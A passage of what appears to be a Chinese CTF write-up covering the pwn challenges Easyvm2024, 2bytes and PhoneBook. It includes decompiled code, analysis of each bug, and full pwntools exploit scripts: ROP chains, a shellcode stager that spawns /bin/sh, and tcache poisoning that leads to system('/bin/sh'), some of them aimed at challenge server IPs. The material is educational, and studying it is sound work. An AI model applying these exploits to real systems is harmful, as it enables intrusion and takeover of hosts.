goto Error_about_invalid_register;
if ( !*(&virtual_machine->register0 + v79) )
{
virtual_machine->error_code = 5LL;
puts("ERROR: Divide by zero!");
return virtual_machine->error_code;
}
*(&virtual_machine->register0 + v65) /= (unsigned __int64)*(&virtual_machine->register0 + v79);
goto LABEL_193;
case 8LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v66 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v66 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v80 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v80 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v66) &= *(&virtual_machine->register0 + v80);
goto LABEL_193;
case 9LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v67 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v67 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v81 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v81 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v67) |= *(&virtual_machine->register0 + v81);
goto LABEL_193;
case 0xALL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v68 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v68 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v82 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v82 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v68) ^= *(&virtual_machine->register0 + v82);
goto LABEL_193;
case 0xBLL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v69 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v69 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v69) = ~*(&virtual_machine->register0 + v69);
goto LABEL_193;
case 0xCLL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v70 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v70 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v70) <<= atoi(v86, 0LL, 16LL);
goto LABEL_193;
case 0xDLL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v71 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v71 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v71) = (unsigned __int64)*(&virtual_machine->register0 + v71) >> atoi(v86, 0LL, 16LL);
goto LABEL_193;
case 0xELL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v72 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v72 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v83 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v83 > 5 )
goto Error_about_invalid_register;
if ( *(&virtual_machine->register0 + v72) == *(&virtual_machine->register0 + v83) )
{
virtual_machine->flags_register = 0LL;
}
else if ( *(&virtual_machine->register0 + v72) <= (unsigned __int64)*(&virtual_machine->register0 + v83) )
{
virtual_machine->flags_register = 2LL;
}
else
{
virtual_machine->flags_register = 1LL;
}
goto LABEL_193;
case 0xFLL: // JMP
v54 = atoi(v85, 0LL, 10LL);
goto LABEL_168;
case 0x10LL: // JE
v54 = atoi(v85, 0LL, 10LL);
if ( virtual_machine->flags_register )
goto LABEL_193;
goto LABEL_168;
case 0x11LL: // JNE
v54 = atoi(v85, 0LL, 10LL);
if ( !virtual_machine->flags_register )
goto LABEL_193;
LABEL_168:
if ( !v54 || v54 > 0xFFF )
goto LABEL_179;
v55 = 0LL;
v56 = v54;
while ( 2 )
{
if ( v55 <= 0xFFF )
{
if ( v56 != 1 )
{
v21 = virtual_machine->input_data_addr;
if ( *(_BYTE *)(v21 + v55) == 10 )
--v56;
++v55;
continue;
}
LODWORD(v21) = v55;
virtual_machine->pc_register = v55;
}
break;
}
if ( v56 == 1 )
goto LABEL_193;
LABEL_179:
virtual_machine->error_code = 4LL;
printf((unsigned int)"ERROR: Invalid jmp line: %ld!\n", v54, v21, v22, v23, v24);
return virtual_machine->error_code;
case 0x12LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) || (v73 = atoi((char *)v85 + 3, 0LL, 10LL), v73 > 5) )
{
Error_about_invalid_register:
virtual_machine->error_code = 3LL;
puts("ERROR: Invalid register!");
return virtual_machine->error_code;
}
*(&virtual_machine->register0 + v73) = atoi(v86, 0LL, 16LL);
break;
case 0x13LL:
if ( v53 )
{
virtual_machine->error_code = 6LL;
puts("ERROR: Syscall limit reached!");
return virtual_machine->error_code;
}
virtual_machine->unknow1 = atoi(v85, 0LL, 16LL);
v53 = 1LL;
virtual_machine->register0 = syscall(
virtual_machine->unknow1,
virtual_machine->register0,
virtual_machine->register1,
virtual_machine->register2,
virtual_machine->register3,
virtual_machine->register4,
virtual_machine->register5);
virtual_machine->unknow1 = -1LL;
goto LABEL_193;
case 0x14LL:
puts("------------------vmstate------------------");
printf(
(unsigned int)"pc: %#lx flags: %lx\n",
virtual_machine->pc_register,
virtual_machine->flags_register,
v25,
v26,
v27);
printf((unsigned int)"reg0: %#lx\n", virtual_machine->register0, v28, v29, v30, v31);
printf((unsigned int)"reg1: %#lx\n", virtual_machine->register1, v32, v33, v34, v35);
printf((unsigned int)"reg2: %#lx\n", virtual_machine->register2, v36, v37, v38, v39);
printf((unsigned int)"reg3: %#lx\n", virtual_machine->register3, v40, v41, v42, v43);
printf((unsigned int)"reg4: %#lx\n", virtual_machine->register4, v44, v45, v46, v47);
printf((unsigned int)"reg5: %#lx\n", virtual_machine->register5, v48, v49, v50, v51);
puts("-------------------------------------------");
virtual_machine->error_code = 0LL;
return virtual_machine->error_code;
default:
virtual_machine->error_code = 1LL;
puts("ERROR: Unknown opcode!");
return virtual_machine->error_code;
}
}
return 0LL;
}

可以发现 start_vm处理Instruction的逻辑是 首先判断 Instruction 是否在 Instructlist中(是否是支持的Instruction type) ,之后再根据Instructionlist 找到 Instruction type,根据Instruct type能知道指令有几个操作数,然后去判断指令格式有没有语法错误,之后会走到下面 switch这里 找到对应的Instruction_handler 做处理

阅读Instruction list 还有Instruction handler 可以得知虚拟机中有这些指令, 其中算术运算和逻辑运算指令 两个操作数都是寄存器,读写内存可以使用 LOAD STORE这两个指令,要设置寄存器的值 可以使用 SET指令,jcc相关的指令是通过修改pc寄存器去实现跳转的,HLT能显示寄存器的状态,INT指令可以进行syscall,但是INT指令只能使用一次,代码写的非常safe,对每个数据都有很明确的上下界检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.rodata:00000000004A9008 aNop            db 'NOP',0              ; DATA XREF: .data:instruction_list↓o
.rodata:00000000004A900C aLoad db 'LOAD',0
.rodata:00000000004A9011 aStore db 'STORE',0
.rodata:00000000004A9017 aMov db 'MOV',0
.rodata:00000000004A901B aAdd db 'ADD',0
.rodata:00000000004A901F aSub db 'SUB',0
.rodata:00000000004A9023 aMul db 'MUL',0
.rodata:00000000004A9027 aDiv db 'DIV',0
.rodata:00000000004A902B aAnd db 'AND',0
.rodata:00000000004A902F aOr db 'OR',0
.rodata:00000000004A9032 aXor db 'XOR',0
.rodata:00000000004A9036 aNot db 'NOT',0
.rodata:00000000004A903A aShl db 'SHL',0
.rodata:00000000004A903E aShr db 'SHR',0
.rodata:00000000004A9042 aCmp db 'CMP',0
.rodata:00000000004A9046 aJmp db 'JMP',0
.rodata:00000000004A904A aJe db 'JE',0
.rodata:00000000004A904D aJne db 'JNE',0
.rodata:00000000004A9051 aSet db 'SET',0
.rodata:00000000004A9055 aInt db 'INT',0
.rodata:00000000004A9059 aHlt db 'HLT',0

先看看这个 INT是怎么用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
case 0x13LL:
if ( v53 )
{
virtual_machine->error_code = 6LL;
puts("ERROR: Syscall limit reached!");
return virtual_machine->error_code;
}
virtual_machine->unknow1 = atoi(v85, 0LL, 16LL);
v53 = 1LL;
virtual_machine->register0 = syscall(
virtual_machine->unknow1,
virtual_machine->register0,
virtual_machine->register1,
virtual_machine->register2,
virtual_machine->register3,
virtual_machine->register4,
virtual_machine->register5);
virtual_machine->unknow1 = -1LL;
goto LABEL_193;

比如说 syscall read(0,0x114514,0x40) 只需要构造这样的表达式

1
2
3
4
SET REG0 0
SET REG1 0x114514
SET REG2 0x40
INT 0

srop??

在调试的过程中,发现有一个行为和atoi函数非常相似的函数,暂且称做atoi吧,在执行的时候会把部分opcode拷贝到栈上,利用这个函数处理数据时截断的性质,同时拷贝opcode的逻辑,拷贝到的位置刚刚好可以到signa frame中rsp rip的位置,可以构造这样的表达式,之后调用rt_sigreturn去劫持rip rsp,但是这样做段寄存器会发生改变,会产生一个段错误导致利用不下去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
payload = b'''
SET REG0 0x460b37
STORE REG0 0x20241000
SET REG0 0x4062f3
STORE REG0 0x20241010

SET REG0 0x404e68
STORE REG0 0x20241020
SET REG0 0x20241000
STORE REG0 0x20241028

SET REG0 0x49688b
STORE REG0 0x20241030
SET REG0 0x1000
STORE REG0 0x20241038

SET REG0 ''' + p64(0x401972) + b'\n'
payload += b"INT 0xf_AAAAAAABBBBBCCCCCCCC"
payload +=p64(0x4e4050)

vtable??

程序是静态链接的,没有pie,所以vtable的地址是固定的,可以通过修改vtable去劫持控制流,做了一些尝试找到了一个关于vprintf的利用链,可以劫持rip,但是这个依赖于syscall read,和本地进程通信用的也不是socket,当时没有考虑到 eof的问题qaq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
import tty
import socket

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "127.0.0.1"
PORT = 9999

# NOP 0
# LOAD 1
# STORE 2
# MOV 3
# AND 4
# SUB 5
# MUL 6
# DIV 7
# AND 8
# OR 9
# XOR 0xa
# NOT 0xb
# SHL 0xc
# SHR 0xd
# CMP 0xe
# JMP 0xf
# JE 0x10
# JNE 0x11
# SET 0x12 SET REG0 40
# INT 0x13 INT syscallnum
# HLT 0x14 HLT

# bss = 0x4e4000
# flag_str_addr = 0x20242000
# SET REG0 1
# SET REG1 0x20242000
# SET REG2 40
# NOT REG5 REG1
# INT 1

p = process("./chal",stdin=PTY,raw=False)
# p = remote(IP,PORT)

payload = b'''
SET REG0 1
SET REG1 0x4e5d80
SET REG2 0x200
INT 0
'''

gdb_comm = '''
b *0x41ed7f
c
'''
# 0x0000000000493675 : add rax, qword ptr [r12] ; call rax

p.sendlineafter("Please input your code (max: 4096), end with EOF:",payload)
p.send(chr(tty.CEOF))
# p.shutdown()

gdb.attach(p,gdb_comm)
p.sendline(b"A" * 0x38 + p64(0x0000000000474f21))

p.interactive()

process_vm_readv & process_vm_writev

后面才知道有这两个系统调用,这两个系统调用可以把数据从一个进程拷贝到另一个进程,如果pid设置为current process pid的话,可以做到类似于memcpy的事情,然后qemu的pid初始是固定的,开启新进程,新进程的pid是往后递增的,所以可以用getpid获取远程环境的current pid number,然后就能推断出下一次交互的pid号是多少。通过这两个系统调用去修改got表 再配合magic gadget打rop劫持控制流

https://www.man7.org/linux/man-pages/man2/process_vm_readv.2.html
1715173889193.png
1715174106086.png

需要构造一个lovec的结构体,这个结构体可以用来描述一个数据块
1715174296519.png
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
import tty
import socket

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "124.222.230.184"
PORT = 10010

# NOP 0
# LOAD 1
# STORE 2
# MOV 3
# AND 4
# SUB 5
# MUL 6
# DIV 7
# AND 8
# OR 9
# XOR 0xa
# NOT 0xb
# SHL 0xc
# SHR 0xd
# CMP 0xe
# JMP 0xf
# JE 0x10
# JNE 0x11
# SET 0x12 SET REG0 40
# INT 0x13 INT syscall_number
# HLT 0x14 HLT

# bss = 0x4e4000
# flag_str_addr = 0x20242000
# SET REG0 1
# SET REG1 0x20242000
# SET REG2 40
# NOT REG5 REG1
# INT 1

# p = process("./chal",stdin=PTY,raw=False)
p = remote(IP,PORT)

# mremap man/ cs/ 0x19 unsigned long addr unsigned long old_len unsigned long new_len unsigned long flags unsigned long new_addr
# process_vm_writev man/ cs/ 0x137 pid_t pid const struct iovec *lvec unsigned long liovcnt const struct iovec *rvec unsigned long riovcnt unsigned long flags

# struct iovec {
# void *iov_base; /* Starting address */
# size_t iov_len; /* Size of the memory pointed to by iov_base. */
# };

payload = b'''
SET REG0 0x67616c662f2e
STORE REG0 0x20240000

SET REG0 0x4a4319
STORE REG0 0x20242000

SET REG0 0x20242000
STORE REG0 0x20241000
SET REG0 0x8
STORE REG0 0x20241008

SET REG0 0x4E4070
STORE REG0 0x20241010
SET REG0 0x8
STORE REG0 0x20241018

SET REG0 0x150
SET REG1 0x20241000
SET REG2 1
SET REG3 0x20241010
SET REG4 1
SET REG5 0
INT 0x137
'''

pop_rdi_ret = 0x00000000004062f3
pop_rsi_ret = 0x0000000000404e68
pop_rdx_rbx_ret = 0x000000000049688b
pop_rcx_ret = 0x000000000049d61b # pop rcx ; add eax, 0x1480000 ; ret
syscall = 0x460E10
mov_r8d = 0x000000000049a206
memory_addr = 0x20240000

payload += p64(pop_rdi_ret) + p64(2)
payload += p64(pop_rsi_ret) + p64(memory_addr)
payload += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(2)
payload += p64(pop_rsi_ret) + p64(memory_addr)
payload += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(2)
payload += p64(pop_rsi_ret) + p64(memory_addr)
payload += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(40)
payload += p64(pop_rsi_ret) + p64(1)
payload += p64(pop_rdx_rbx_ret)+p64(5)+p64(0)
payload += p64(pop_rcx_ret) + p64(0)
payload += p64(mov_r8d)
payload += p64(syscall)

# payload2 = '''
# INT 0x27
# HLT
# '''

# syscall
gdb_comm = '''
b *0x403EEF
c
'''
# gdb.attach(p,gdb_comm)
p.sendlineafter("Please input your code (max: 4096), end with EOF:",payload)
# p.send(chr(tty.CEOF))
p.shutdown()


p.interactive()

2bytes

read to input那可以覆盖passwd,strcmp是根据\x00来判断cmp的长度的,所以只可以执行七个字节长度的shellcode,七个字节实现getshell很明显是不够的,所以得实现syscall read一次,并且jmp到mmap的段那。只需要用xchg交换rsi rdx的值 之后syscall,就能read 0x1000的数据到mmap的段那,再jmp过去就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+Ch] [rbp-4h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
read(fd, passwd, 7uLL);
close(fd);
puts("Give me the secret");
read(0, input, 0xFuLL);
if ( !strcmp(input, passwd) )
{
puts("Good luck");
pwnme();
}
return 0;
}
__int64 pwnme()
{
__int64 v0; // rdx
_QWORD *i; // [rsp+8h] [rbp-18h]
_QWORD *v3; // [rsp+10h] [rbp-10h]

v3 = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
v0 = *&passwd[8];
*v3 = *passwd;
v3[1] = v0;
for ( i = v3; i != (v3 + 5); i = (i + 1) )
*(i + 2) ^= *i ^ *(i + 1);
return (i)();
}
1
2
3
4
5
6
7
8
9
10
11
.bss:0000000000004050                               public input
.bss:0000000000004050 ; char input[8]
.bss:0000000000004050 ?? ?? ?? ?? ?? ?? ?? ?? input db 8 dup(?) ; DATA XREF: main+B9↑o
.bss:0000000000004050 ; main+D7↑o
.bss:0000000000004058 public passwd
.bss:0000000000004058 ; char passwd[8]
.bss:0000000000004058 ?? ?? ?? ?? ?? ?? ?? ?? passwd db 8 dup(?) ; DATA XREF: pwnme+35↑o
.bss:0000000000004058 ; main+8A↑o
.bss:0000000000004058 ; main+CD↑o
.bss:0000000000004058 _bss ends
.bss:0000000000004058

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 40735

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def encode(data):
data = bytearray(data)
tmp = bytearray(data)
for x in range(5):
tmp[x+2] ^= (data[x] ^ data[x+1])
return bytes(tmp)


payload = asm('''
xchg rsi,rdx
syscall
''') + b'\xeb\xf9'


payload = encode(payload) + b'\x00' + encode(payload)
sa("Give me the secret",payload)

shellcode = asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')
sa("Good luck",shellcode)





p.interactive()

PhoneBook

程序的逻辑是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Welcome to minilctf2024!");
puts("Here is a simple Phone book.");
puts("But it's so vulnerable.");
v4 = 0;
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
add();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
puts("Bye Bye! ");
exit(0);
default:
puts("Unknown choice! \n");
break;
}
}
}
int add()
{
_QWORD *i; // [rsp+0h] [rbp-10h]
__int64 v2; // [rsp+0h] [rbp-10h]

for ( i = (_QWORD *)chunklist; i[4]; i = (_QWORD *)i[4] )
;
if ( *i > 0x3FuLL )
return puts("You can not add more!");
i[4] = new_people(*i + 1LL);
v2 = i[4];
puts("Name?");
my_read((unsigned __int8 *)(v2 + 8), 0xFu);
puts("Phone Number?");
my_read((unsigned __int8 *)(v2 + 24), 0xBu);
return puts("Add success!\n");
}
unsigned __int64 delete()
{
unsigned __int64 v1; // [rsp+0h] [rbp-20h] BYREF
__int64 v2; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
v1 = 0LL;
puts("Index?");
__isoc99_scanf("%lu", &v1);
if ( v1 && v1 <= 0x3F )
{
v2 = chunklist;
ptr = 0LL;
while ( *(_QWORD *)(v2 + 32) )
{
ptr = *(void **)(v2 + 32);
if ( *(_QWORD *)ptr == v1 )
{
*(_QWORD *)(v2 + 32) = *((_QWORD *)ptr + 4);
free(ptr);
puts("Delete success!\n");
return v4 - __readfsqword(0x28u);
}
v2 = *(_QWORD *)(v2 + 32);
}
puts("Index not found.");
}
else
{
puts("You can not delete it.");
}
return v4 - __readfsqword(0x28u);
}
int show()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = chunklist;
printf("%-8s%-16s%s\n", "Index", "Name", "Phone-Number");
while ( v1 )
{
printf("%-8lu%-16s%s\n", *(_QWORD *)v1, (const char *)(v1 + 8), (const char *)(v1 + 24));
v1 = *(_QWORD *)(v1 + 32);
}
return puts("Show success!\n");
}
unsigned __int64 edit()
{
unsigned __int64 v1; // [rsp+0h] [rbp-20h] BYREF
__int64 v2; // [rsp+8h] [rbp-18h]
__int64 v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
v1 = 0LL;
puts("Index?");
__isoc99_scanf("%lu", &v1);
if ( v1 && v1 <= 0x3F )
{
v2 = chunklist;
v3 = 0LL;
while ( *(_QWORD *)(v2 + 32) )
{
v3 = *(_QWORD *)(v2 + 32);
if ( *(_QWORD *)v3 == v1 )
{
puts("New Name?");
my_read((unsigned __int8 *)(v3 + 8), 0xFu);
puts("New Phone Number?");
my_read((unsigned __int8 *)(v3 + 24), 0xBu);
puts("Edit success!\n");
return v4 - __readfsqword(0x28u);
}
v2 = *(_QWORD *)(v2 + 32);
}
puts("Index not found!\n");
}
else
{
puts("You can not edit it.");
}
return v4 - __readfsqword(0x28u);
}

通过分析程序逻辑,发现增删改查操作都涉及到间接寻址,可以发现是一个单链表的结构,尾插入法,头结点是不做操作的,结构体大概是这样,漏洞出现在 修改phone_number的时候有一个三字节的溢出可以破坏单链表的指针,由于main arena基地址有效位实际上是低十二位,这里破坏next chunk只能两个字节的改,所以12 - 16位也就是 0 - f 这个需要爆破一下,本地调试的话这种情况吧aslr关掉,保证利用链能打通的情况下再去写爆破的逻辑就好了。然后大多数操作都有idx的检查,所以在破坏next chunk指针的同时,还需要考虑一下idx的情况

1
2
3
4
5
6
struct chunk{
int64 chunk_idx;
char name[16];
char phone_number[8];
struct chunk *next_chunk;
}

首先得拿到一些劫持控制流常用的原语,比如说任意地址读写 glibc是2.35 tcache poison 和fastbin attack需要绕过safe link得泄露堆地址,libc地址也需要泄露。 泄露堆地址吧 phone_number填满然后show 通过 %s就能泄露,泄露libc地址的话,需要布置堆风水,伪造8个fake chunk,chunk_size > 0x80 prev inuse = 1,
可以布置这样一个堆布局

1
head_node -> nodeA -> nodeB -> nodeC -> nodeD

通过edit nodeA,写fake chunk,然后将 nodeC 的 next chunk指低两个字节指向 fake chunk的 udata部分 之后delete node就能得到一个 伪造出来的bin了,填满tcache后就能拿到unsortedbin
拿到unsortedbin 后泄露environ的地址,然后把main函数栈帧的返回地址改了就能劫持控制流
用这个gadget配合binsh 和system就好了

1
0x0000000000125bb0 : pop rax ; pop rdi ; call rax

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./PhoneBook')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def add(name,phonenumber):
sla("Your Choice: ","1")
sa("Name?",name)
sa("Phone Number?",phonenumber)

def delete(idx):
sla("Your Choice: ","2")
sla("Index?",str(idx))

def edit(idx,name,phonenumber):
sla("Your Choice: ","4")
sla("Index?",str(idx))
sa("New Name?",name)
sa("New Phone Number?",phonenumber)

def show():
sla(b'Your Choice: \n',"3")

p = process()

for i in range(0x39):
add(p64(0xa1) + p8(0x39-i),p64(0xa1))

pl = p8(0xa1)
pl = pl.ljust(8,b'a')
edit(2,b'0'*8 + p8(0x3d),pl)
show()

for i in range(3):
rl()
heap_base = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00')) - 0x330


edit(2,p64(0xa1)+p8(0x38),p64(0xa1))# reset 2

for i in range(8):
pl = p64(0xa1) + p16(0xc2e0+i*0x30)
edit(56-i,p64(0xa1),pl)
delete(0x39-i)

# 截断结尾 unsortedbin 的下一个chunk
edit(9,p64(0xa1),p64(0xa1)+p16(0xc290))

show()

for i in range(2):
rl()
key = u64(rl().strip(b'\n')[-8:])

for i in range(6):
rl()

libc.address = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00')) - (0x7ffff7facce0 - 0x7ffff7d93000)
success(f'libc_base ->{hex(libc.address)}')


environ = libc.sym['__environ']
environ_low = environ & 0xffffff
byte1 = (environ_low >> 16) & 0xff # 获取低字节
byte2 = (environ_low >> 8) & 0xff # 获取中间字节
byte3 = environ_low & 0xff # 获取高字节

edit(8,p64(0x31) + bytes([byte3, byte2, byte1]) ,p64(environ))
edit(7,p64(0xa1),p64(0)+p16(0xc410))

show()
for i in range(10):
rl()
stack = int(p.recv(15),10) + (0x7fffffffdc48-0x7fffffffdd88) - 8
success(f'stack_addr ->{hex(stack)}')
edit(7,p64(0xa1),p64(0)+p16(0xc420)) # reset 7

tmp = (heap_base>>12)^(stack)
print(hex(heap_base))
print(hex(tmp))
tmp_low = tmp & 0xffffffff
tmp_high = (tmp & 0xffff00000000) >> 0x20

edit(9,p64(0xa1),p64(0xa1)+p16(0xc480))

for i in range(2):
pl = p64(0x31) + p16(0xc490+i*0x30)
edit(0x30-i,p64(0x31),pl)
edit(0xa+i,p64(0x31)+p16(0x32+i),p64(0x31))
delete(0x32+i)

pl = p64(0x31) + p32(tmp_low) + p16(tmp_high)
edit(0xb,pl,p64(key))

edit(9,p64(0xa1),p64(0xa1)+p16(0xc260))
add(p64(0x31),p64(0x31))
edit(9,p64(0xa1),p64(0xa1)+p16(0xcd70))


pop_rdi = libc.address + 0x000000000002a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
rdi = stack - (0x7fffffffdc40-0x7ffff7faea70)
ret = libc.address + 0x0000000000029cd6
ret_0x10 = libc.address + 0x00000000000c164e

# print(hex(pop_rdi))
gad = libc.address + 0x0000000000125bae + 2
tmp = system
tmp_low = tmp & 0xffffffff
tmp_high = (tmp & 0xffff00000000) >> 0x20
print(hex(tmp_high))
print(hex(tmp_low))

pl = p64(gad) + p32(tmp_low) + p16(tmp_high)
add(pl,p64(binsh))

p.interactive()
CATALOG
  1. 1. pwn
    1. 1.1. ottoshop
    2. 1.2. game
    3. 1.3. Easyvm2024
    4. 1.4. 2bytes
    5. 1.5. PhoneBook